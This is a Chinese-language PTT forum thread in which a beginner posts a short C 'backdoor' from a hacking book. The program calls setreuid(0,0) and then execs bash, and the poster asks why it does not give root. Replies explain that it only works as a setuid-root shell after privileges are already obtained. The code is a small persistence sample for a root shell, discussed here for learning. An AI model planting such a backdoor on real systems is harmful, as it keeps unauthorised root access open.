作者slshsb200300 (Javier)
看板LinuxDev
标题[问题] 关於後门程式
时间Wed Aug 27 15:47:49 2014
我这新手又来问菜问题了...囧
身边又没有会的人可问
只好厚着脸皮来了XD
刚在看骇客训练基地-决战台湾版这本书
看到後门程式时...程式码如下
#include <sys/types.h>
#include <unistd.h>
void main()
{
setreuid(0,0);
execl("/bin/bash","bash",(char *)0);
}
结果如下图
http://imgur.com/EM9LqYD
执行完後却无法像书上写的获得root权限
请问这是什麽原因造成呢@@?
--
※ 发信站: 批踢踢实业坊(ptt.cc), 来自: 220.137.111.11
※ 文章网址: http://webptt.com/cn.aspx?n=bbs/LinuxDev/M.1409125672.A.D14.html
1F:→ mshockwave: 嗯...使用setreuid应该也要root权限 08/28 05:29
2F:→ mshockwave: 你这应该是类似shellcode吧 也就是你的exploit要先 08/28 05:33
3F:→ mshockwave: 破解拥有最高权限的程式或是取得适当权限 这样你在 08/28 05:33
4F:→ mshockwave: 执行shellcode时才能拥有root权限 08/28 05:33
5F:→ lantw44: suid-shell 的 拥有者 是 root 吗? 08/29 14:18
6F:→ slshsb200300: 哈...感谢两位大大我看懂了T T 08/29 16:23
7F:→ mshockwave: Re楼上上:yes 08/30 16:22